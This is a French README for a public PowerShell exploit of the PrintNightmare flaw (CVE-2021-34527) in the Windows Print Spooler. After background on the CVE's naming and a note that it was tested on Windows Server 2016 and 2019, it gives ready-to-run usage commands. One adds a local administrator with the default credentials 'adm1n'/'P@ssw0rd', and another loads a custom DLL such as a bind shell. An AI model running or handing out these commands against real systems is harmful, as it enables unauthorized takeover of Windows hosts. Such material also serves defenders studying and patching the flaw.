
Exploit PowerShell d'élévation de privilèges locaux pour PrintNightmare (CVE-2021-34527) ciblant le service Print Spooler de Windows. Intègre une charge utile DLL personnalisée pour ajouter un utilisateur administrateur local via des appels d'API Win32 réflexifs.
Caleb Stewart | John Hammond | June 1, 2021
MISE À JOUR 2 juin 2021 : Microsoft a publié un avis de sécurité sur CVE-2021-34527, qualifiant à juste titre cet identifiant spécifique d’exploit de la vulnérabilité PrintNightmare. Auparavant, la communauté supposait que CVE-2021-1675 « était PrintNightmare », car le correctif du 8 juin ne résolvait pas ce problème. Ce dépôt est identique à l’original à la différence près du nom du CVE.
CVE-2021-34527 est une vulnérabilité critique d’exécution de code à distance et d’élévation de privilèges locale, surnommée « PrintNightmare ».
Des exploits de preuve de concept ont été publiés (Python, C++) pour la capacité d’exécution de code à distance, ainsi qu’une version C# pour l’élévation de privilèges locale. Nous n’avions pas vu d’implémentation native en PowerShell pur, et nous voulions tenter de raffiner et de réécrire l’exploit.
Ce script PowerShell effectue une élévation de privilèges locale (LPE) avec la technique d’attaque PrintNightmare.

Cela a été testé sur Windows Server 2016 et Windows Server 2019.
Ajoute un nouvel utilisateur au groupe des administrateurs locaux par défaut :
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Fournissez une charge utile DLL personnalisée pour faire tout ce que vous souhaitez.
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"